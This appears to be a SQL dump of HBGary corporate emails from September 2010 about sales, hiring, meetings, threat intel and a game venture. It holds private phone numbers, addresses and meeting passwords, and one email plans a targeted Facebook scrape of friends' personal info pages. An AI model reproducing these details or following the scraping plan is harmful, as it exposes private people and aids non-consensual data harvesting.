padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',897,'aaron_hbgary_com/897.html'),(12307,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009083.M915322P14101Q7162.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','','Managed service.  Guys your prices are too high for managed service.\r\nManaged service is not IR service.  Plus in managed service u usually\r\ndon\'t charge for the tools.  It\'s wrapped in in my experience.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',8232,'aaron_hbgary_com/8232.html'),(12308,'2010-09-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009084.M213682P14101Q7163.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Aaron Springs Offer Letter','Excellent, I was hoping he\'d accept -- he\'s a key strategic hire.  Thanks Dee!\r\n\r\nOn Fri, Sep 24, 2010 at 4:29 PM, Penny Leavy-Hoglund  wrote:\r\n> He is not a hire for us, he is for Ted and Aaron.  Scan document and send to\r\n> Ted.\r\n>\r\n>\r\n>\r\n> From: DeeAnn Buonaccorsi [mailto:deeann@hbgary.com]\r\n> Sent: Friday, September 24, 2010 1:54 PM\r\n> To: \'Penny Leavy-Hoglund\'\r\n> Subject: Aaron Springs Offer Letter\r\n>\r\n>\r\n>\r\n> Hi Penny,\r\n>\r\n>\r\n>\r\n> I just received a fax from Aaron Springs, please confirm,  should I start\r\n> paperwork for him now?  I noticed the Contingent on award for the Romas\r\n> Contract for hire date.\r\n>\r\n>\r\n>\r\n> DeeAnn Buonaccorsi\r\n>\r\n> Office Manager\r\n>\r\n> HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd.  Suite 250\r\n>\r\n> Sacramento, CA  95864\r\n>\r\n> Tel:  916-459-4727 ext. 101\r\n>\r\n> Fax: 916-481-1460\r\n>\r\n> Email  deeann@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3483,'aaron_hbgary_com/3483.html'),(12309,'2010-09-24','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009084.M450628P14101Q7164.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE:','What are you talking about?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 24, 2010 3:16 PM\r\nTo: Maria Lucas\r\nCc: Penny Leavy\r\nSubject: \r\n\r\nManaged service.  Guys your prices are too high for managed service.\r\nManaged service is not IR service.  Plus in managed service u usually\r\ndon\'t charge for the tools.  It\'s wrapped in in my experience.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n',12244,'aaron_hbgary_com/12244.html'),(12310,'2010-09-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009086.M35439P14101Q7165.eml','\"Aaron Barr\" <aaron@hbgary.com>','fingerprint data for palantir',' \r\nHere are my comments attached.\r\n \r\nI am having Martin generate a fingerprint graph that includes soysauce binaries.  Should be available next week.\r\n \r\n-G\r\n',448,'aaron_hbgary_com/448.html'),(12311,'2010-09-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009086.M685647P14101Q7166.eml','\"Barr Aaron\" <aaron@hbgary.com>','Resume','Please pass along to Bob / etc.\r\n\r\n\r\nReq ID	38663BR\r\nBusiness Title	Administrative Assistant 2\r\nGroup	TSG\r\nLocation	COLORADO Colorado Springs\r\nClearance Level Needed	Secret\r\nCategory	Administrative Services\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3112,'aaron_hbgary_com/3112.html'),(12312,'2010-09-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297009087.M17390P14101Q7167.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Awesome','Long sleeve champion t shirts. Came out real nice.&nbsp;Begin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;Date: September 24, 2010 7:58:37 PM MDTTo: MarkTrynor &lt;mark@hbgary.com&gt;Subject: AwesomeThe shirts came out awesome. Love em. ',13949,'aaron_hbgary_com/13949.html'),(12313,'2010-09-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009087.M480515P14101Q7168.eml','aaron@hbgary.com','Alarm - WiiKno, Inc. HGary Discussion re: NCSC etc.','September 24, 2010 4:00 PM : WiiKno, Inc. HGary Discussion re: NCSC etc.Craig Tobias CTO WiiKnoAaron Barr HBGary Federal CEOTed Vera HBGary Fedaral CTOMaria Lucas Regional Sales DirectorAgendaCraig Tobias is working on an NCSC project for information security -- handling a fiber component.&nbsp; Craig approached HBGary to become a Reseller/Partner and introduce us to the NCSC.The purpose of the meeting is to explore the opportunity and partnership viability.&nbsp; Craig also does work with social engineering.1.&nbsp; Please join my meeting, Friday, September 24 at 02:00 PM MDT.https://www1.gotomeeting.com/join/2537902572.&nbsp; Use your microphone and speakers (VoIP) - a headset isrecommended. Or, call in using your telephone.Dial 712-338-7141Access Code: 253-790-257Audio PIN: Shown after joining the meetingMeeting Password: ddnaMeeting ID: 253-790-257GoToMeeting®Online Meetings Made Easy™View your event at http://www.google.com/calendar/hosted/hbgary.com/event?action=VIEW&amp;eid=dWxiOGtzMDRhb3BrcDltM3ZmYjA3cGx2M2cgYWFyb25AaGJnYXJ5LmNvbQ&amp;tok=MTYjbWFyaWFAaGJnYXJ5LmNvbTJkZmQ1NWI3YzQ3NWUyM2EyYmE1NmJiMjJjODdiZDE4ZjI2MTQyODU&amp;ctz=America%2FNew_York&amp;hl=en. ',16812,'aaron_hbgary_com/16812.html'),(12314,'2010-09-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009087.M758815P14101Q7169.eml','aaron@hbgary.com','Alarm - DigitalGlobe Review of Managed Services Proposal','September 24, 2010 5:00 PM : DigitalGlobe Review of Managed Services ProposalAgendaReview Managed Services Proposal-- fees-- deliverablesReview Installation and DeploymentReview timelinesPhil Wallisch changed the time for this online meeting.&nbsp;Topic: DigitalGlobe Review of Managed Services Proposal&nbsp;Date: Friday, September 24, 2010&nbsp;Time: 5:00 pm, Eastern Daylight Time (New York, GMT-04:00)&nbsp;Meeting Number: 571 737 008&nbsp;Meeting Password: ddna&nbsp;-------------------------------------------------------&nbsp;To join the online meeting (Now from the Apple iPhone (R) too!)&nbsp;-------------------------------------------------------&nbsp;1. Go to https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;RT=MiMxMQ%3D%3D&nbsp;2. If requested, enter your name and email address.&nbsp;3. If a password is required, enter the meeting password: ddna&nbsp;4. Click \"Join\".&nbsp;To view in other time zones or languages, please click the link:&nbsp;https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;PW=NMWZlYWU0NzFm&amp;ORT=MiMxMQ%3D%3D&nbsp;-------------------------------------------------------&nbsp;To join the audio conference only&nbsp;-------------------------------------------------------&nbsp;Call-in toll number (US/Canada): 1-408-792-6300&nbsp;Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=155871232&amp;tollFree=0&nbsp;Access code:571 737 008&nbsp;-------------------------------------------------------&nbsp;For assistance&nbsp;-------------------------------------------------------&nbsp;1. Go to https://hbgary.webex.com/hbgary/mc&nbsp;2. On the left navigation bar, click \"Support\".&nbsp;You can contact me at:&nbsp;phil@hbgary.com&nbsp;To update this meeting to your calendar program (for example Microsoft Outlook), click this link:&nbsp;https://hbgary.webex.com/hbgary/j.php?ED=155871232&amp;UID=1170986422&amp;ICS=MRS3&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=8A0dlB6yjTLw2tTIAvy86jvf0OeGI3aJXT4Y9HwAkP0=&amp;RT=MiMxMQ%3D%3D&nbsp;WebEx will automatically setup Meeting Manager for Windows the first time you join a meeting. To save time, you can setup prior to the meeting by clicking this link:&nbsp;https://hbgary.webex.com/hbgary/meetingcenter/mcsetup.php&nbsp;The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php&nbsp;Sign up for a free trial of WebEx&nbsp;http://www.webex.com/go/mcemfreetrial&nbsp;http://www.webex.com&nbsp; ',2058,'aaron_hbgary_com/2058.html'),(12315,'2010-09-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009088.M256527P14101Q7171.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Training','Daniel,\r\n\r\nTed and I have been struggling a bit with our training model for sale.  When we originally priced the course we did it with the target of 25 students, charging approximately $750 per student.  You presented an interesting model.  We knew $750 was out of the range for that many people so we went to work on something that seemed reasonable.  After further consideration and seeing the money you are putting into many different areas we have come to another model.\r\n\r\nTraining is a commodity and something that is harder for many to quantify results.  That said, nearly every organization that I can tell needs social media training.  But probably not a full day or even a half day course.  2 hours is about right to get the point across.  I think the social media pen testing can be very helpful as well.\r\n\r\nWe are going to start offering our training for $25,000 for 2 days, 3 classes a day (2 hrs each).  You can put as many people as you want in each class however we recommend no more than 50.  The social media penetration test runs an additional $25,000 (it is tailored for the organization and take quite a bit of work).\r\n\r\nWe are putting together a flyer now to start advertising this aggressively starting Monday.\r\n\r\nLet me know if this works better for you.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',9698,'aaron_hbgary_com/9698.html'),(12316,'2010-09-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009088.M39659P14101Q7170.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Contact','Greg,\r\n\r\nRe: our conversation here is Matts email address.\r\n\r\nPhone: 719-859-0567\r\n\r\nI think you guys could have an interesting conversation about the game company.  Let me know if you need anything from me.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11786,'aaron_hbgary_com/11786.html'),(12317,'2010-09-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009088.M564496P14101Q7172.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','Hi Jason,\r\n\r\nSorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n\r\nAaron\r\n\r\nOn Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thanks again for coming on the show, we definitely appreciate you\r\n> taking time out of your busy day to speak with us.  I\'m interested in\r\n> speaking further when you get back from your trip to Seattle.  Do you\r\n> happen to have Federal SE positions available as well?  Let me know\r\n> when you get a chance.\r\n> \r\n> R/\r\n> \r\n> Jason Mueller\r\n> \r\n> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>> Hey Jason,\r\n>> \r\n>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',16634,'aaron_hbgary_com/16634.html'),(12318,'2010-09-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009088.M853843P14101Q7173.eml','\"Chris Gerling Jr\" <cgerlingjr@gmail.com>','Re: The job market and other stuff','Hey Chris,Anytime. &nbsp;I had fun.I would like to talk some more. &nbsp;I get back the week of the 4th. &nbsp;Lets talk sometime after that and I can fill you in on what we have, what we are chasing, and what positions we will likely have in the near future.AaronOn Sep 23, 2010, at 9:44 AM, Chris Gerling Jr wrote:Hi Aaron,Thanks again for coming on with us last night, we had a great time.I was curious if you wanted to talk some more about the job landscape and what you might have available. &nbsp;I\'m not really able to move for a bit since I decided to become a homeowner a second time last year, but would definitely be interested in any opportunities involving a smaller more tight knit group. &nbsp;\r\n\r\nThanks,Chris GerlingSecurity Professional and Co-founder of the SecuraBit podcast.&nbsp; http://www.securabit.com\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',1666,'aaron_hbgary_com/1666.html'),(12319,'2010-09-25','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009089.M135122P14101Q7174.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Aaron,\r\n\r\nI\'ve never had to experience the pain of kidney stones, knock on wood. Hope she is feeling better. Drop me a line when you\'re back in town and we can chat further. \r\n\r\nR/\r\n\r\nJason Mueller\r\n\r\nSent from my iPhone, please excuse typos. \r\n\r\nOn Sep 24, 2010, at 11:29 PM, Aaron Barr  wrote:\r\n\r\n> Hi Jason,\r\n> \r\n> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n> \r\n> Aaron\r\n> \r\n> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Thanks again for coming on the show, we definitely appreciate you\r\n>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>> speaking further when you get back from your trip to Seattle.  Do you\r\n>> happen to have Federal SE positions available as well?  Let me know\r\n>> when you get a chance.\r\n>> \r\n>> R/\r\n>> \r\n>> Jason Mueller\r\n>> \r\n>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>> Hey Jason,\r\n>>> \r\n>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n',14503,'aaron_hbgary_com/14503.html'),(12320,'2010-09-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009089.M377697P14101Q7175.eml','\"Barr Aaron\" <aaron@hbgary.com>','CIMS','Looks like Unisys re-won their CDC work, although it\'s an IDIQ, so\r\nwe\'ll have to work our way onto a TO:\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&tab=core&id=f889518710476265a71c57aadf410491&_cview=0\r\n\r\n\r\nTed\r\n',16623,'aaron_hbgary_com/16623.html'),(12321,'2010-09-26','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297009089.M600781P14101Q7176.eml','all@hbgary.com','stuxnet worm','Computerworld - Officials in Iran have confirmed that the Stuxnet worm infected at least 30,000 Windows PCs in the country, multiple Iranian news services reported on Saturday.\r\nhttp://www.computerworld.com/s/article/9188018/Iran_confirms_massive_Stuxnet_infection_of_industrial_systems\r\nI&#39;ve already got a email asking about stuxnet, this came out late Friday.  Does anyone have a dropper I have been unable to find it.\r\n',11885,'aaron_hbgary_com/11885.html'),(12322,'2010-09-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009089.M814223P14101Q7177.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Gaming','Begin forwarded message:From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: September 25, 2010 2:47:08 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Gaming\r\nNothing yet.  I might have scared them off.Sent from my iPhoneOn Sep 25, 2010, at 13:27, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHave you heard anything from the gaming company?  Let me know if youneed any help with the propopsal.\r\nTed-- \r\nTed Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',9253,'aaron_hbgary_com/9253.html'),(12323,'2010-09-25','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297009090.M277838P14101Q7179.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Vacation - Seattle','September 25, 2010 : Vacation - Seattle \r\n',4263,'aaron_hbgary_com/4263.html'),(12324,'2010-09-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009090.M482196P14101Q7180.eml','\"Ted Vera\" <ted@hbgary.com>','Re: CIMS','great.  How do the TOs come out?\r\n\r\nBTW, I don\'t see the promo pack on the web.  I know you said it was only temp offered.  Is it too late?\r\n\r\nAaron\r\n\r\nOn Sep 25, 2010, at 2:37 PM, Ted Vera wrote:\r\n\r\n> Looks like Unisys re-won their CDC work, although it\'s an IDIQ, so\r\n> we\'ll have to work our way onto a TO:\r\n> \r\n> https://www.fbo.gov/index?s=opportunity&mode=form&tab=core&id=f889518710476265a71c57aadf410491&_cview=0\r\n> \r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',667,'aaron_hbgary_com/667.html'),(12325,'2010-09-26','\"Tim Riesen\" <tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297009090.M61285P14101Q7178.eml','\"Aaron Barr\" <aaron@hbgary.com>','Article','\r\n\r\nArticle\r\n\r\n\r\nhttp://www.nytimes.com/2010/09/26/world/middleeast/26iran.html?partner=rss&amp;emc=rss\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n',9448,'aaron_hbgary_com/9448.html'),(12326,'2010-09-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009091.M65680P14101Q7181.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Facebook scraping','Hey Mark,\r\n\r\ncan you look at this for a few and give me some pointers on how I go about scraping.  I don\'t want to scrape all of Facebook right now. I want to do a targeted scrape based on a friends list.  Here is mine.  Embedded in the links is all the PIDs I need.  Then I just want to go to their info page and scrape whatever is there.  I have tried a few web scraping tools but am struggling a bit.\r\n\r\nPointers?\r\n\r\n',1307,'aaron_hbgary_com/1307.html'),(12327,'2010-09-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009112.M506042P14101Q7182.eml','\"Ted Vera\" <ted@hbgary.com>','Training PPT','ok here is what I have so far.  Needs some more work on the effective us and risks page (easy stuff).  The compelling sections I think are Intro and recon.\r\n\r\n',881,'aaron_hbgary_com/881.html'),(12328,'2010-09-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009122.M818913P14101Q7183.eml','\"Aaron Barr\" <aaron@hbgary.com>','Intel HBGary has collected on Soysauce',' \r\nAaron,\r\n \r\nAttached is all the open source intel I have on soysauce.  The PDF is a report to QinetiQ that I have redacted so you can show it to people.  Most of the original soysauce attribution is in this report.\r\n \r\nAlso, I have attached a word document summarizing much of the intel.\r\n \r\nA JPG is attached w/ the Palantir link analysis that I did.  I don&#39;t have the original Palantir project any longer, or I can&#39;t seem to find it.  But, you can recreate it easily by doing google searches w/ those keywords.  This is probably the money for your upcoming presentation.\r\n\r\n \r\nAlso, I created a powerpoint w/ a summary of all the link-analysis slides I have used this year.  It includes soysauce, gh0st, and some others.\r\n \r\n-Greg\r\n',9521,'aaron_hbgary_com/9521.html'),(12329,'2010-09-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009123.M419977P14101Q7184.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Contact',' \r\nI tried calling, but the phone appears to be disconnected.\r\n \r\n-Greg\r\nOn Fri, Sep 24, 2010 at 8:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Re: our conversation here is Matts email address.Phone: 719-859-0567I think you guys could have an interesting conversation about the game company.  Let me know if you need anything from me.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n',6567,'aaron_hbgary_com/6567.html'),(12330,'2010-09-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009123.M690278P14101Q7185.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Contact','Sent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: September 26, 2010 11:31:06 AM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Matt Furman &lt;matt_furman2005@yahoo.com&gt;\r\nSubject: Re: Contact \r\nI tried calling, but the phone appears to be disconnected.\r\n \r\n-Greg\r\nOn Fri, Sep 24, 2010 at 8:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Re: our conversation here is Matts email address.Phone: 719-859-0567I think you guys could have an interesting conversation about the game company.  Let me know if you need anything from me.\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',157,'aaron_hbgary_com/157.html'),(12331,'2010-09-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009123.M897876P14101Q7186.eml','\"Matt Furman\" <matt_furman2005@yahoo.com>','Fwd: Contact','Sent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: September 26, 2010 11:31:06 AM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Matt Furman &lt;matt_furman2005@yahoo.com&gt;\r\nSubject: Re: Contact \r\nI tried calling, but the phone appears to be disconnected.\r\n \r\n-Greg\r\nOn Fri, Sep 24, 2010 at 8:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Re: our conversation here is Matts email address.Phone: 719-859-0567I think you guys could have an interesting conversation about the game company.  Let me know if you need anything from me.\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',12951,'aaron_hbgary_com/12951.html'),(12332,'2010-09-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009124.M122832P14101Q7187.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Contact','OopsSent from my iPhoneOn Sep 26, 2010, at 11:31 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nI tried calling, but the phone appears to be disconnected.\r\n \r\n-Greg\r\nOn Fri, Sep 24, 2010 at 8:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Re: our conversation here is Matts email address.Phone: 719-859-0567I think you guys could have an interesting conversation about the game company.  Let me know if you need anything from me.\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',336,'aaron_hbgary_com/336.html'),(12333,'2010-09-26','matt_furman2005@yahoo.com','/aaron@hbgary.com/new/1297009124.M618463P14101Q7188.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Contact','Just sent him my new numberSent from my BlackBerry Smartphone provided by AlltelFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Sun, 26 Sep 2010 11:30:12 -0700To: Matt Furman&lt;matt_furman2005@yahoo.com&gt;Subject: Fwd: ContactSent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: September 26, 2010 11:31:06 AM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Matt Furman &lt;matt_furman2005@yahoo.com&gt;\r\nSubject: Re: Contact \r\nI tried calling, but the phone appears to be disconnected.\r\n \r\n-Greg\r\nOn Fri, Sep 24, 2010 at 8:16 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nGreg,Re: our conversation here is Matts email address.Phone: 719-859-0567I think you guys could have an interesting conversation about the game company.  Let me know if you need anything from me.\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n',13601,'aaron_hbgary_com/13601.html'),(12334,'2010-09-26','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297009125.M133410P14101Q7189.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Saved Search Update - Digitalglobe','\r\n\r\n  \r\n  \r\n      \r\n      LINKEDIN SAVED SEARCH UPDATE\r\n    \r\n    \r\n      \r\n      \r\n        We found 68 new results that match your saved search \"Digitalglobe\":\r\n      \r\n     \r\n\r\n      \r\n        \r\n          Matt Bergin\r\n            Director - Client Services at DigitalGlobe\r\n        \r\n        \r\n          Jim Beckley\r\n            Director, Global Accounts Sales at DigitalGlobe,\r\n        \r\n        \r\n          Giandri Machado\r\n            International Sales Director\r\n        \r\n        \r\n          Joseph DuLong\r\n            Remote Sensing\r\n        \r\n        \r\n          Mark Stockwell\r\n            Product Development Veteran\r\n        \r\n      \r\n\r\n        View more new results &#187;\r\n    \r\n    \r\n      \r\n        Saved Search Results\r\n        &bull; View all new results\r\n        \r\n      \r\n    \r\n\r\n    \r\n    \r\n\r\n      \r\n      LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.  \r\n      &copy; 2010, LinkedIn Corporation\r\n      \r\n  \r\n    \r\n  \r\n\r\n\r\n',13534,'aaron_hbgary_com/13534.html'),(12335,'2010-09-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009125.M642589P14101Q7190.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,penny@hbgary.com,shawn@hbgary.com','revised ownership breakdown (proposed) Gunwale, LLC',' \r\nAaron, Martin, Shawn,\r\n \r\nHere is another stab at proposed breakdown.\r\n \r\nI upped the number of hours for Greg and Aaron to 20/week.  That is alot considering we have other tasks.  It means at least one weekend-day plus touch-points over the course of the week.\r\n \r\nAaron, if you take the CEO position, you are going to need to find funding.  I spoke w/ your friend Matt and he indicated that Jerimiah, himself, and maybe that girl would be willing to help.  I did not discuss billing rates or compensation.  We can discuss staffing and resources, but Gunwale will only operate until January at best.  Mikiya is a little slow, as I indicated, so this puts our timeline at risk - so having your old team involved may turn it around.\r\n\r\n \r\nMartin, you code super fast - so your contributions will be critical in getting the engine finished.  John Ransom is also Junior/Medium level engineering when compared to you, so I won&#39;t be surprised if your 10 hours a week produces more than John&#39;s 40 hours per week.  Plus, your contributions to architecture will continue to play a part as the game design gels.\r\n\r\n \r\nShawn, you can also code faster than shit and could fulfill the unique role of writing low level libraries, administrative tasks such as the patcher, and are master of finding memory leaks.  All around having you help will significantly increase the likelihood that we will produce a real shippable product as opposed to a prototype. \r\n\r\n \r\nFor myself, I am throwing in 20 hours a week.  This should be enough to &quot;blow the ping ping ball&quot;, function as scrum-master for the smallish dev team, work on game design aspects with Aaron and/or Martin, as well as support Aaron&#39;s activities on the forward side.  I have the constant and painful background task of handling the accounting/legal as well, much to the pleasure and amusement of Penny, but she is helping me too (I don&#39;t expect this to be too heavy once the initial startup stuff is done).\r\n\r\n \r\nHere is the spreadsheet:\r\n 